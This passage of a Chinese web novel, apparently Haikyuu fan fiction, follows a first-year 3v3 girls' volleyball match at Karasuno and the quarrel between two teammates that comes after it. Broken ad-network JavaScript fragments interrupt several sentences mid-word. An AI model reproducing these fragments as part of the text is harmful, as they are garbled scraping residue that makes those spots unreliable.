“道宫队长，请问下这位叫佐佐木怜耶的同学来了吗？”望月加代看着名册上唯一没有签到的一行。 “佐佐木同学她…情况非常特殊，除了集训和比赛外很少来参加社团活动。”道宫结说，“但我可以保证她不会耽误自己和大家的训练。” 又是一个新鲜的名字。九里绘无聊地开始放空大脑，胡思乱想。 啊，好想打排球。 * 得益于常年满地乱爬的身体素质，九里绘在复习基本功的时候越练越有精神。 道宫结被望月加代叫去讨论了社团交接的事宜，不多时，道宫结再次召集众人，宣布了新生赛的3v3规则。 一年级三人组的眼睛同时亮了起来。 “根据排球的接触经验来分，九里在a队，中尾和有栖川在b队。” “剩下的三个空缺位置，a队由西村和井理填补，b队是海野。”道宫结的话音落下，依次有人出列，“那么，赛前调整，三分钟后开始比赛。” “望月老师，还有要说明的吗？” “啊。”望月加代茫然地眨了眨眼，笨手笨脚地从点名册背后翻出两张排球规则书。 “需要一位担任临时裁判，剩下的人翻计分板和我靠边站，不要干扰比赛秩序。” “加油，望月老师。”月见里纱希握拳，“很有指导老师的感觉了哦。” …… 在西村纱奈的指引下，九里绘辨认出了她们的第三个队友。 “我在前两年打的是副攻。”西村纱奈说，“嘛，虽然没上场过几次，但各种技术也有在练。” “二年级，主攻手。”井理世诚淡淡地开口，脸上是一副魂游天外的表情。 井理继续说：“我不会发呆的，只是偶尔会难以思考…你们有要求，用嘴说，我会听。” “不过正式比赛上的位置在新生赛没什么参考性 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，对面的海野以前也是副攻，想当自由人的小绘在3v3中同样可以发球扣球和拦网。”西村纱奈的声音高调起来，“那么，我们上吧！” 入场站到各自的点位前，背后有只手拍拍九里绘的肩。 “九里，来喊口号。”井理世诚喊停两人，专注地伸出右手。 三人的拳头轻轻碰到一起，身体相互贴近，在这充满仪式感的赛前鼓劲中，九里绘也因为这份蠢蠢欲动的热烈而扯动了嘴角。 “——拿下胜利！” 雪菜萝丝吹响了哨音。 抛硬币决定开球方，翻开手背，由中尾有栖川队发球。 中尾葵站上发球区，反复朝地板拍球来寻找手感。 三秒过去，还没有发球的迹象。九里绘让自己沉静下来，全神贯注地盯准球的变化准备防守。 余光模糊地瞥见中尾葵的小动作，可以判断出她在紧张，直到最后一秒，中尾葵将排球抛起。 紧张的情绪促使心脏跳动得越来越快，触碰到球的那一刻，中尾葵直觉不妙，只好临时改变施力方向。 九里绘眼睁睁地望着标志杆的上空一道弧线快速滑过，擦在侧边的白线。 判断失误，界内得分。 九里队：中尾有栖川队，0：1 “好发球！”海野辉英欢呼，“再来一球，小葵！” 刚才那球的运气成分很大。 九里绘察觉到不仅仅是她有这样的体会，赛场乃至观众都在心中说出了这句话。 而当事人肯定也意识到了，所以在全场的目光注视下，压力集中给到了中尾葵的下一次发球。 三秒后，中尾葵举起手臂，将跳发转为了保守的平打。 方向靠近左半场，九里绘迈出一步垫球，西村纱奈在网前弯曲膝盖，托球并大喊：“井理！” 井理世诚起跳，用包住球般的手感猛地一扣。 九里队：中尾有栖川队，1：1 “井理的球撞得我手指好痛！退一万步说，学校买的医疗保险就不该赔点钱给我吗！？”海野辉英哀嚎。 “不错，就像这样稳住啊九里！”西村纱奈鼓励道。 九里绘点点头表示明白，而后看见旁边的井理世诚脸上挂满了扣球成功的喜悦，一个人安静地散发出灼热的气焰。 ……和刚才赛前聊天的状态完全不是一个人吧。 果然，打排球容易让人产生双重人格。 下一回合由井理世诚发球，对方的应对方式准备充足。 从扣球防守起就死死盯住她的海野辉英接住一传，有栖川在近网处起跳托球：“快！” 中尾葵挥臂：“砰！” 1：2 拦网和接球没跟上，有栖川和中尾的快速进攻拿到一分。 九里绘不敢怠慢，在脑中尽力将刚才的初见杀回放、重映，略加思索。 她们发明了武器。九里绘意识到。 前几天两人自主练习时的不见踪影，通过私底下很多次的磨合，就是为了这一刻…… 有栖川由梨露出张扬的笑，放狠话：“小葵会让你的指甲盖都擦不到排球边！” 莫名被叫到的中尾葵十分惊恐，只好回头：“咦！？！” 九里绘颔首：“可以，我等着。” 中尾葵：……救救她救救她，什么时候可以不对着看了！救命，放她去看地板吧！！ 然而下一刻，有栖川由梨有幸见证到何为天赋性选手——在出言不逊方面。 “想来也是啊。”九里绘很自然地开口，“有你们在对面，连拿下比赛胜利、把对手打得痛哭流涕这件事，都开始变得有趣起来了。” 24.24章 24章——视野，一触即发 望月加代惊得把擦到一半的眼镜重新戴起：“刚才那是什么？” “快攻。”道宫结解释，“在二传没有到位前，葵…中尾同学利用跑动在防守成型之前快速出手得分。” “好配合，小葵！”有栖川拉着人击掌。 九里绘扫了一眼快攻球的落点，重新回到位置上。 “中尾葵说过，快攻是她比较擅长的东西。”九里绘和队友分享信息，“虽然她的个头不算高，但速度快，和同年级的有栖川配合次数多。” “意思就是说，小个头二人组其实是个有底子的组合咯。”西村纱奈摸了摸下巴，“那就强行让她们中的一人接球，拖延节奏。” 井理世诚：“试试看。” 可惜计划赶不上变化。 有栖川由梨的第二次发球对准了西村纱奈，并以一个不太好的角度往九里绘的方向飞去，后者直接抬起双臂。 绷紧的指尖发力，等井理世诚起跳时，发现传来的球速度过快，已经冲过头，只能强行扣下。 下一刻，海野辉英的手高出网线半个掌心，将球拦在了井理世诚的面前。 眼看球即将落地，一道身影从中间迅速穿过，九里绘扑到地板上救球，三色球在她的手背上轻轻碰撞了半秒，还是没能飞起，最终撞上网格。 1：3 “好危险！就算真的想要扑救，也要当心别和队友撞到一起啊！”西村纱奈惊讶地说，伸手去扶被九里绘摇摇头拒绝了，单手撑地爬起来。 现下有件更需要关注的事：“刚才那球托得力气大了，我会改进，井理学姐，击球点有什么问题？” 秉持着没人点她就不说话，井理世诚一脸乖巧地回话：“有点高，稍微低点比较好。” 听罢，九里绘上下打量了她近乎一米八的身高，抱着一丝怀疑听从了她的想法。 * “中尾同学从小学开始接触排球，有栖川同学也在国中加入了排球部，有过比赛经验。”望月加代抽空看起了新生赛选手的个人简历，“九里同学的话…一、一个月？” “这两边的实力差距岂不是很大。”望月加代求证性地问起旁人，“如果3v3的目的仅仅是判断新生的水平，直接1：3了会不会给结果带来误差……” “分配队伍时我们考虑了许多层面的因素，两分的差距并不意味着最后的结果。”道宫结说。 雪菜萝丝加入探讨：“九里队的西村是打法稳定均衡的代表，井理是下一届的预备王牌。” 望月加代：“王牌？” “王牌指的是得分最高的主攻手，也可以指代球队中攻击力最强的球员，所以不能小看她们队哦。”月见里纱希不紧不慢地解释名词，随后话题一转。 “而且望月老师，告诉您一个小贴士，那就是绝对不能轻信九里学妹的任何一句话。” 望月加代对那个国文很差的一年级生印象深刻，点点头：“她理解不了复杂点的四字熟语。” “更重要的是，她有极其诡异的自我认知……” 月见里纱希回想起了不好的记忆：“我有次和她互相垫球，看她基本功水平不错，不该是初学者的水平。” “毕竟我第一次打排球时，光向上垫和对墙垫球就在课外兴趣班里花了两个星期。” “您猜九里是怎么回复的？” 望月加代摇了摇头。 “她说，这两个项目她在国中一年级的体育课上碰见过。”月见里纱希痛苦地掩面。 “为了能够顺利完成体育课的考核，她努力练了十来分钟，最后在下课前满分通过。” “然而即便是这样，九里她依旧真心诚意地认为自己的技术很烂，没有（专门）打过排球。” * 身体素质和协调，天生的球感，反应速度与适应能力。 曾经，九里绘在小学的乒乓兴趣班收到过一种评价。 “你脑袋里思考的东西太多，导致身体快于大脑做出的动作会被限制，拖累你的速度和对局势的操控。” “到了真正的比赛场上，是很难去绞尽脑汁思考的……甚至可以说，思考这件事本就变成了身体一刹那的习惯反应，不由你来操控。” “要想逐渐改变这个问题，只能靠漫长又反复的机械训练来弥补。” “所以，你最好快点做出选择，九里。” 必须要用一个去填补另一个的空缺吗？ 必须要舍弃一点转而去抓另一点吗？ 九里绘自始至终都是一个贯彻任性意志的家伙，她很贪心，有点不太想。 所以许多年后，她在国中体操队的训练中琢磨出了一个奇怪的办法。 ——那就不要用头脑思考好了。 她要让身上的每一块皮肤都臣服于排球，记住排球的感觉，让每一寸肌肉先于头脑自行产生思考。 “井…”西村纱奈再次上手，一传到位的情况下，她呼唤攻手。 “左边！”九里绘大声喊道，上步起跳，扣球。 在前网防备错人的中尾和海野听到了耳边的排球落地声。 2:3，夺回发球权。 “场上的我现在不是自由人。”九里绘说，“所以，我也可以得分。” 她忽然转头去看西村，一板一眼地鼓励道：“发个好球。” 西村纱奈吐槽：“……九里你的表情管理，可以在说话的时候适当做点表情出来啊！” 井理世诚突然开口：“攻击位。” “啊。”九里绘似乎听懂了，“刚才那一扣肯定能让对面的人想起我的存在。我们进攻的选项变多，她们的防守范围也会增加。” 不小心说了好多话。 九里绘刻意去瞟西村的表情，发现她有点走神，但没有反驳的迹象，说明应该没有分析错。 索性放宽心地接上最后一句：“海野辉英的拦网咬得很准，我会避开她。” …… 九里队：中尾有栖川队，18：18 两队比分打平，经过第一局十几分的磨合与调整，都已经渐渐地能和队友保持住相同节奏下的配合。 轮到井理发球，不慎下网。 18：19 “别放在心上，下一球加油！”西村纱奈调动起大家的情绪。 可是九里绘看出了不对劲。 她想起了井理预备王牌的身份，除了主将道宫学姐外，井理世诚就是得分王。 根据将近一整局的观察，九里绘在记忆中慢放了一遍井理的扣球动作。 起跳高度不算高，但下引臂传递给扣球的力量很足，每一次扣球都是实打实的暴力扣杀，即使是专心拦网的海野也经常被弄成拦网出界。 这样的力度、这样的手法，居然会出现发球失误？ “哔——”临时裁判雪菜萝丝吹响了哨音。 中尾有栖川队使用了暂停。 九里绘本来是想喊暂停讨论的，没想到反而是对面先叫了，干脆利用这个时间将困惑说出来。 井理世诚皱了皱眉，开始捏起下巴苦思冥想。 “我推测，今天的种种迹象，或许是我的身体想要节省力气而形成的错误处理方式。”井理说。 九里绘懵了一下：“你推测？” 木头系与电波系撞到了一次，简直是狭路相逢，棋逢对手。 “道宫学姐说过力量是我的优势，缺陷是体能不好，一旦累了就容易出现失误。” “而我每次扣球都会用尽全身的力气，所以慢慢的，身体习惯在扣球外的模式中变成省电状态。” 用嘴交流果然是效率最高的方式之一，九里绘的疑虑一下子被扫空了。 “第一局快结束了，你现在感觉怎么样？” “确实有一点点累，但还能坚持。”井理世诚释放她的喘息。 “体力这东西一时半会补不回来，可是比赛不等人。”西村纱奈绞尽脑汁地想方案，“只能球给得少点了。” “是要减少，但是质量不能缺席。”九里绘追加道，“井理世诚，你的击球点没有那么低，别为了节约那么一丁点体力就偷懒。” “你的一整套动作，从助跑起跳到扣球，每一个环节都给我用上最合适的力气。” 九里绘：“既然迟早会累，倒不如赶紧2：0结束战斗，每一分都要拿得稳当。” 井理世诚眼神微动。 “我们会给你托球的。”九里绘拍拍她的肩。 “……”坐在裁判位上的雪菜萝丝实在看不下去，暗地里骂骂咧咧。 “二传手的位置真的就那么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不招人喜欢吗？她快要变成司令台了，可惜是个自由人激推QAQ。” “原来如此，九里同学的意思是不能‘因小失大’，而是要‘全力以赴’。”望月加代右手敲左手。 月见里纱希小声吐槽：“越来越多的四字熟语出现了。” 暂停时间结束，九里队以猛烈的攻击策略回到赛场。 中尾有栖川队的防守阵型愈发醒目，虽然能够凭借经验和敏捷的速度多次拦下进攻，却迟迟没能找到反击的机会。 比分一度被拉开四分，直到24：23…… 九里绘感受了一番体能消耗，完全可以接受。 她跪地接下一传，和西村纱奈的眼神交汇间决定自接自扣。 然而，西村的托球出现了失误。 角度偏离了击球位置，旋转和速度都没有降下，眼看着球离她越来越远，九里绘来不及调整位置，朝侧面挥出左手扣球。 砸中了有栖川由梨抬起的手臂，一阵闷响过后，海野辉英救球失败，斜着飞出界。 25：23，第一局由九里队拿下。 短暂的休息调整阶段，西村纱奈连喊几声够咩，九里绘咕咚咕咚小口喝水，表示别在意。 “其实，西村学姐的最后一个托球，好像也有点顺手。”她说。 “诶？” “那是什么原理？”观众席纷纷前来旁听。 “井理学姐，西村学姐。”九里绘紧锁眉头，率先向着队友透露，“我想起来了。” “我是左撇子来着。而且用左手扳手腕也比右手要厉害。” 西村：“？” 井理：“……” “这么重要的信息，是会随随便便忘记的吗？！”月见里纱希大叫。 九里绘低头道歉：“真的忘记了。” “我写字、吃饭、画画、打游戏用的都是右手，剩下的情况就用左手。” “可是这四点就足够囊括整个日常生活，因此惯用手常常派不上用场。” 道宫结露出一脸“啊原来是这样”“既然是小绘那么凡事都有可能”的神情来，并一秒抓到了重点。 “想起来了，以后就别再忘记了。”道宫结莫名觉得自己有当幼师的潜力，“要知道，任何一个细枝末节都可以转变成你的武器。” “细枝…节…”九里绘的大脑一片空白。 道宫结：“…就是小细节的意思啦！” 交换场地，第二局很快就在双方队员的口号声中开始。 中尾有栖川队并没有为第一局的失分而感到焦急，海野辉英一边试图用挤眉弄眼干扰对面，一边在背后比划手势。 九里绘站在发球区观察对面的动静：“海野学姐的脸是抽筋了吗？” 海野辉英噎住：“那是战术啊，战术！” 换成惯用手后，球的旋转方向出现了扭转，对一传造成了一定的影响。 三人调整得很快，中尾葵假意后退，迅速加快脚步甩开防守球员，寻找反攻机会。 她的起跳是幌子，有栖川由梨托球背飞，真正给到的是稍晚一步起跳的海野辉英。 九里队：中尾有栖川队，8:6 在那之后，她们的防守变得更加坚韧且灵活，多次成功化解九里队的强攻。 看似一直在落后从未领先，但实际上紧咬着得分不放。 “中尾葵的‘短平快’快攻，有栖川由梨的几次关键救球。可以看出基本功都还不错。”月见里纱希慢慢分析，“感觉比我要好多了……” “井理同学是不是累了？”望月加代观察道。 “您也发现了啊，是的，世诚的体能可是连我家三岁半的弟弟见了都能看出的弱点。”月见里纱希用开玩笑的口吻说。 “放假前还稍微好些，去年比赛的时候，我偶尔会替换上场撑一会，但不能换人的话……九里队该怎么办？” 仿佛顺应了月见里的话，就在这时，海野辉英的精准拦网，使得比赛局势发生了变化。 这种逆转，使得分数像开了加速器一样直接跳到了22：25，大比分被扳成1：1。 海野辉英揉了揉发红的手腕，对着井理世诚使用了毫无杀伤力的嘴炮攻势：“终于，让我给等到了啊。” “你这个纯暴力得分王累虚脱的那一刻——” 25.25章 25章——矛盾，一波未平 “短暂的假期把体能训练全都忘光光了吗？”海野辉英吐槽。 井理世诚很直率地承认：“嗯，回老家帮父母杀猪，就忘了。” 海野辉英：“杀猪到底为什么不能锻炼体能啊？！” “因为死了的猪不会跑。”井理世诚有问必答，且真的有在大喘气中专心思索，“活的我就不一定能耗过它了。” 听到此话的有栖川由梨喝水呛到了，拍腿狂笑：“哈哈哈哈哈！” 另一边，几乎是第二局结束的同一秒，九里绘直奔休息区坐在了她的随身包旁。 从包里翻出指尖绷带，扯断，一圈一圈地缓慢缠绕在手指上。 她再次感受了下身体的状态，手腕及以上部分红得发烫，用以接球的手臂平台附近倒是已经不会隐隐作痛了。 手下意识做出了一个托球的手型，隔壁擦完汗的西村纱奈见状欲言又止，转而问：“你还好吗？” “嗯，我很好。”这句话点醒了九里绘，她看着自己不经大脑摆出的动作，反应过来，“这个高度，是给不累时期井理学姐的传球。” “这种，是给西村学姐的。” “说到这个，英子她肯定给小学妹们支招了。”西村纱奈说。 九里绘：“英子？” “啊…是我们擅自给海野辉英取的小名，听起来很有乡村气息吧。” 西村纱奈说回正题：“第一局没那么明显，从第二局开始就在刻意拖延两边的拉扯回合。” “很多次进攻机会都被她们放弃，而面对井理的扣球，英子的拦截成功次数越来越多……” “海野学姐是倾向于拦网防守特长的副攻。”九里绘边想边说，“二年级都是同期生，两年相处下来，对井理学姐的球路轨迹也很熟悉。” 九里绘记起了一句名言：“知己知彼，百战不殆。” 或许还能有办法。 “八个字，那可是整整八个字！”雪菜萝丝恨不能奔走相告，“四字熟语果然还是弱爆了！” 片刻后，休息时间结束，九里绘的声线像山上流淌而下的泉水，在清澈的同时带着无法忽略的凉意。 “西村学姐，井理学姐，你们愿意信任我吗？” * 海野辉英将针对井理世诚的战术取名为“熬死辣个体能废”，准确来说，是在第一局结束前的暂停中讨论出来的。 为了能在丢掉一局大比分，第二局必须拿下的前提下打长回合，就需要努力把每一颗球都接起来，减少失误…… 刚开始，因为担心给新生施加压力就没提。 而现如今在相处过程中，她逐渐对中尾葵和有栖川由梨的接球和心态稳定有了信心。 “胜利就在眼前——啊这句话怎么那么像flag，算了别在意！”海野辉英伸出手和两人碰拳，“她们猜到我们的计划也无妨，因为此刻，攻击和防守的处境已经完全颠倒了过来！” “时代变了，你动不动就当得分王的日子已经结束了，把下一任王牌预备的位置交出来！” “海野你是想转打主攻手了吗？”井理世诚问。 “可恶。”海野辉英悲愤捏拳，“这个世界上难道没有人能够get到我的梗吗？” “呃，想要的话，你得自己来拿？”九里绘隔着老远接上话。 海野辉英大喜过望：“小绘！！好孩子！！” 中尾葵再次站上了发球区。 她在犹豫要不要用可以连续得分的跳发球，脑海中浮现出的是有栖川在第三局开始前的鼓励。 “胆子大点，反正发球失误了又不会死人，怕什么嘛！”有栖川由梨潇洒地开口，并用身高差疯狂rua她的发顶。 咳咳，想远了。 深呼吸一口气，往地板上砸球找到手感。 要在八秒倒计时结束前抛球，首先要考虑到…… “中尾葵。” 诶？ 网的对侧，九里绘的声音传入她的耳朵：“发球要加油。” 海野辉英皱了皱眉，没搞懂给对手加油是个什么操作，想了想应该是同为新生的惺惺相惜，遂欣慰地点了点头。 什么嘛，在介绍中说自己毫无团队理解的九里学妹，这不是把友谊第一贯彻得很好吗？ 在没人注意到的时候，西村纱奈心虚地缩了缩脖子。 说时迟那时快，九里绘突然平举起双臂，用食指弹了弹自己的额头。 “瞄准点，往这里发，啊要不还是选太阳穴的位置会更加好吧。”九里绘面无表情地加大音量。 “来砸死我，你能做到的吧？” “……！？”中尾葵立马后退半步，脸色煞白，在心中发出无声的呐喊。 妈妈！救命！有杀气啊！！！ 八秒的提醒哨响起，中尾葵浑浑噩噩地抛球，跳跃，挥臂，球没过网。 九里绘和队友击掌，轮换位置，还有闲心道：“下次注意防范心理战术，中尾葵。” 这回应该是真诚的关心了……吧。 中尾葵欲哭无泪：“好……” “怎么还能这么玩的啊！”海野辉英大喊。 “所以小绘在场下是个脸盲还老记不住学姐们的名字，到了场上却能化作记忆大师，无差别地喊所有人的大名、全名，为的就是能在此刻提升语言的攻击性嘛。”有栖川由梨若有所思。 雪菜萝丝听了一度陷入沉默：“不，她不会想得那么复杂的，我觉得纯粹是性格原因。” 九里队：中尾有栖川队，16:19 井理世诚发球。 球飞过网，有栖川迅速反应，预判到球的轨迹向前一步接球。三色球卸力给到了海野辉英上空。 随着比分的增长，场上气氛越来越紧张，差距依旧在扩大和缩小间徘徊，每一分都显得尤为关键。 别害怕，会赢的。 中尾葵在短暂的间隙中鼓励自己，心中默默祈祷下次进攻能够带来突破。 一传到位，海野起跳挡住视野，和有栖川碰巧打出的一人时间差被井理世诚拆穿并拦截。 海野辉英通过飞扑翻滚救下拦网球，与此同时，中尾葵果断后退，通过助跑来到了近网的位置。 滞空的那段时间里，中尾葵将不是那么明显的扣球动作在半途中改为了托球。 一直处于防守而非进攻位的有栖川由梨，迅速从背后跑动到身侧。 带着嘴角的一抹得逞笑意，有栖川再次扣球！ 下一秒，一双缠满指尖绷带的手恰好出现在网格上方。 弹飞的球砸到了指甲，九里绘刺痛地眯了眯眼，眼神坚决地盯着排球在空中划出的一道弧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 线，最终落在了身后的界内。 ……什么？中尾葵还有些茫然，而一声长长的哨音已经宣告了比赛结束。 雪菜萝丝敬业地从裁判椅子上跳下，翻动计分板。 20:25，大比分1：2，中尾和有栖川的队伍赢了。 虽然最后一球失分，但所有人都注意到了九里绘的行动。 那个跳跃，完全没有被另外两个显眼包骗走注意力的迹象，仿佛早就猜到了中尾和有栖川的真实意图。 望月加代手中的笔记已经洋洋洒洒地写满了三页：“九里同学的最后那次拦网……” “是预判到了吗？”月见里纱希也想问。 道宫结看出了点什么，思索着说：“嗯——大约是心理战术吧。” 雪菜萝丝不明所以：“她又凭借超级钝感力把中尾葵给吓个半死了？什么时候的事儿啊？” “视线。”当事人九里绘拿着毛巾走向人群，“小葵的性格很好猜，她的眼神、表情，都会影响后续的动作，基本上不会有错。” “但是……我要看到的不是她的视线的偏向，而是有栖川或者海野学姐的。” “小葵她，是个生活中无法接受和陌生人四目相对的人，不想看到别人的表情，却非常在乎自己在别人心中的评价，所以全身心的感官都会下意识地观察附近。” “我在场上研究了她很久，虽然不清楚你们在背后比划的手势都代表了什么，但局势多变，你们不可能在接球期间用手势改动战术。” “然后，就能隐约能察觉到你们偏向小葵的视线——不是直视，是一晃而过的转向。” “因为小葵的性格，我能够笃定那种角度她一定能看见，而且为了不让你们失望，她一定会在自己给自己施加的压力下，起跳。” 话音刚落，有栖川由梨顺势手搭上她的肩膀：“你是个好可怕的女人啊，小绘。” “谢谢。”九里绘把这类词全当是夸奖了。 中尾葵哭哭脸，趴在地上：“感觉被摸透了……拿到了胜利却体会到了输家的感觉……” “你以后会对队友也这样吗？”海野辉英颤抖地小声问。 “不会。”九里绘说，“我今天的状态很好，所以才能联想到那么多的东西。” 并抛下了一句让人无法理解的话：“毕竟我放弃了大脑的思考，要依赖身体给我传递答案。” 新生赛圆满落幕，按照惯例，应该先让教练…哦没有教练啊，那就是指导老师说几句话。 道宫结看了看在旁边疯狂整理笔记的望月加代，觉得还是先别打扰她比较好。 正要开口，九里绘的眉头突然皱得很深，举手示意请求暂停，而后转身走到西村纱奈的面前。 “西村学姐，你今天的状态算不太好吗？” 西村纱奈愣了一下，摆手：“也不至于很差…就普普通通吧。” 九里绘专注地盯着她的眼睛，昏暗的蓝眸像是暴风雨来临前的宁静：“那么，为什么要偷懒呢？” “三局，整整三局，分明有许许多多的救球机会，你放弃了。” “最后的那一球，你的位置偏向后排，球速不算快，可以通过跑动赶上，而我也是那么相信着你。” 九里绘在平淡中慢慢展露出潜藏已久的愤怒：“我托的球，你凭什么没有扣下去？” 26.26章 26章——警惕和文化沙漠吵架 西村纱奈，就读于乌野高校三年级升学班。 了解排球的起因是从小一起长大的发小在升入国中后沉迷于此，并加入了学校的排球部。 由于每天忙于训练和处理训练完攒下的疲累，导致两人之间的交流变得越来越少。 曾经从幼稚园起就无话不谈的她们，说是因为排球而疏远了也不为过。 四年前，国中新上任的体育老师将球类考试纳入了期末的考核名单，可以自行选择项目。 为此，西村纱奈仔仔细细地钻研了下自己的想法。 她对篮球和足球毫无兴趣，网球和棒球之类的也……好吧，顶多是无感，她对体育运动都没什么想法。 正当发愁之际，就看见许久没有主动发起聊天的发小兴冲冲地跑向她，抱着从筐里拿出的排球，递到她跟前。 “纱奈，期末考试和我一起选排球吧！”发小说，“考试内容是两人互相垫球，我想来想去，果然只有和纱奈一起完成才能安心。” “纱奈是我这辈子最信任的朋友了！” 搞什么嘛……这不是有话题可聊嘛，这不是能够恢复到从前那般亲密无间的关系吗？ 西村纱奈这样想着，那一刻，发小手中脏兮兮的排球仿佛生出了焕然一新的面孔，变得尤其耀眼和夺目。 于是，她紧紧地，带着一丝期许和眷恋，将那颗球抱在了怀里。 从那天以后，西村纱奈开始打排球，每天都会打，她觉得至少不能让自己成为拖累，眼睁睁看着发小在期末考试拿到零蛋，不然发小会被整个社团笑话的。 顺利通过了期末考核后，她依旧保持了打排球的习惯。 和发小一起进行双人对练，会在丢球和砸在彼此的脑门上时开怀大笑，会在不慎摔伤小腿和划处伤口时，眼泪汪汪地等待对方给自己抹药。 然后强装镇定地猛锤地板，喊出那句：“混蛋，一点也不痛！！” “你逞什么强啊！” 回忆起那段时光，西村纱奈首先记起的一定不是充满着汗渍泪水和胜败的排球赛，而是发小第一次接住她扣球时，那副欣喜和兴奋的目光。 后来，发小带她认识了女排部的成员，认识了更多校内校外的排球爱好者…… 直到毕业前夕，她确定了自己和发小不会去同一所高中。 “纱奈，你觉得有趣吗？” 西村纱奈误以为问的是打排球这回事，下意识回答：“当然啊，不然我怎么可能打到今天。” “那就好……”发小放心下来，说，“我还以为，纱奈是为了我而强迫自己打排球的。” 这一句话，让西村纱奈选择保持沉默。 “纱奈觉得，和朋友一起玩有趣吗？”发小嗓音清澈地娓娓道来。 “我知道你的家教很严格，叔叔阿姨不让你出门和同学一起玩，禁止你和异性说话，还要考好看的分数。” “所以长大后，我担心你会感到孤单，擅作主张带你认识别的人，想让你交到朋友——除了我之外，更广阔、更丰富的朋友。” “糟糕，怎么听上去那么像告别呢……不行，我是不会和纱奈告别的。”发小握住她的手，说，“就算你不打排球，考不出好看的成绩，没办法每天都见面，我们也永远会是朋友啊。” “纱奈要开开心心地把排球打下去！享受到不孤单的快乐！” * “——我托的球，你凭什么没有扣下去？！” 思绪瞬间被拉回，九里绘的怒音在室内回荡。 随后，周边的世界再次变得静悄悄的了。 这样的语气、这种态度如同火星迅速蔓延，将西村纱奈激怒：“什么…？” “你凭什么要用这副口吻来指责我，是我犯了什么弥天大错了吗？还是你认为别人就不应该有失误的时候！？”西村纱奈一脸不悦，当即质问。 “因为你偷懒了。”九里绘冷冷地说，嘴角下拉，“接球扣球拦网，三局下来你在每一个部分上面都有懈怠的迹象。” “明明有反击和救球的机会，你反反复复、一次又一次地做出了放弃的动作。”九里绘的声音逐渐拔高，她直视着对方的双眼，眼中闪过愤怒和不甘。 “在球落地之前，比赛就没有结束。你的做法和临阵脱逃半途而废有什么区别？倒不如一开始就别参加比赛！” “你懂什么……”西村纱奈的声色中夹带了些许鼻音而变得模糊，“一直以来我都有在努力做到最好，为排球付出了那么多心血，怎么会是区区一场比赛就能看出来的！？” “你就因为一场比赛就想彻底否定我的一切吗，你这个自大的家伙！”西村纱奈愤怒地控诉道。 “因为这里是体育竞技！是比赛！！” 九里绘怒号：“胜败不重要，可是你这种全身上下都散发着认为自己注定会输的态度，是在比赛中最恶心的东西了！！” 西村纱奈在新生赛上的表现很惹眼，她在各方面发挥稳定的同时，还兼顾了教会新人该如何享受仪式感。 仪式感是有必要的，它不仅能够提升观赏性，最重要的还是选手在现场的体验。 每一次碰拳、拍背、称赞和鼓舞士气，都象征着对比赛的尊重和对胜利的渴望。 这是团队项目的魅力所在。 ——西村她真的懈怠了吗？ 这个问题萦绕在所有人的心中，一时间居然没人能够说出答案。 但毋庸置疑的是，两人的争吵绝对不能由外人肆意插手，或者用别的方式来糊弄过去。 吵架，处理得当的话亦是交流。 道宫结往前迈出半步，站在所有成员的前方。 眼看着两人的距离不断拉近，雪菜萝丝预感不妙，生硬地冲上去堵在中间，说：“你们好好吵，别揍我啊！” “……”九里绘仰起头看着西村纱奈，神色恢复冷静，“我的话都说完了，你得给我一个答复，同样的，我会先给你解答。” “人人都会有失误的时候，可失误后的悔恨，或是失误后的窃喜，我的眼睛还是分得清的。”她说。 如火中烧的场面在僵持之下似乎冷却了不少。 待冲动上头的余热散去，西村纱奈体会到了窘迫。 意识到自己打破了情绪稳定的界限，她不敢去面对周围人的目光，只能看着紧紧盯着她的九里绘。 可九里绘才是那个更加让人胆怯的存在。 因为她的字典里根本就没有退缩这个词，不在乎别人，最在乎自己，好像无比坚定地认为自己就是全世界的中心。 无惧、无畏，如同她在比赛场上每一次无视伤痕和疼痛的救球。 在短暂的愤怒和冲动过后，意识到这点的西村纱奈被愧疚和歉意占据了内心。 “我累了……”她攥紧拳头，“打排球，让我觉得很累，所以没有用上全力。” 其实还隐瞒了相当一部分的事实。 怎料九里绘只是轻轻地点了点头，说：“我了解了。” 她撇撇嘴想了半天，回忆西村纱奈教过她的赛间鼓劲法，拍肩膀认真说：“下一次！继续加油！” 就好像刚才无事发生。 西村纱奈怔愣在原地。 耳边响起了女生们大喘气的声音，一眼扫过，她们的反应里没有出现抵触。 雪菜萝丝结束了她在中间当隔板的历程，不在意地说：“果然吵架还是很有用的嘛，偶尔吵吵还是有好处的，矛盾一下子就迎刃而解了——” 不对。 不对不对不对。 思路陷入混乱的西村纱奈及时赶到九里绘身后，说：“等等，我没有说完！” 九里绘听罢，放下手中的水杯，直起腰杆重新仰头面向她。 “我说的累指的是……”西村纱奈悄悄瞥向旁边的道宫结和雪菜萝丝，干脆拼一把。 “我恐怕，已经对排球…都感到乏累了。” * 两年前，乌野高校的社团招新日。 排球部的宣传摊位被安排在一起，与热闹的男排部相比，女排部面前称得上是门可罗雀。 西村纱奈徘徊了校园两圈也没有找到感兴趣的社团，却不由自主地在排球部面前驻足留步。 有个很醒目的白发黑皮混血搂着矮个头的短发女生聊天，和当时担任女排部经理的学姐问起：“今年有多少新人啊？” “我看看，道宫同学和雪菜同学是吧。”学姐苦笑，“到现在只有你们两个递交了申请书。” 雪菜萝丝失望地垂下高高的脑袋：“排球已经不受欢迎了吗……” “还好啦。”道宫结宽慰道， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “不管受不受欢迎，都不影响打排球吧。而且有个很厉害的乌养教练会带男女排一起训练。” “乌养教练曾带领男排进入过全国呢。” “真的假的！”雪菜萝丝满眼都是期待。 排球？ 西村纱奈望向那两张陌生的面庞，却觉得在某种程度上分外眼熟。 她的发小啊，最沉醉于排球的那一年，就是那样的表情。 为了发小口中的一句“享受到不孤独的快乐”，她再次向排球走去。 “我是西村纱奈，1年级5班，目标是想要在排球部结交到新的朋友。”入部介绍的时候，她如此说道。 经理学姐委婉提醒：“……问的是比赛上的目标啦，像打进县内八强这种。” “诶！？抱歉！” * 西村纱奈觉得她一定是喜欢过排球的，不然也不可能从一开始就硬撑过这几年的岁月。 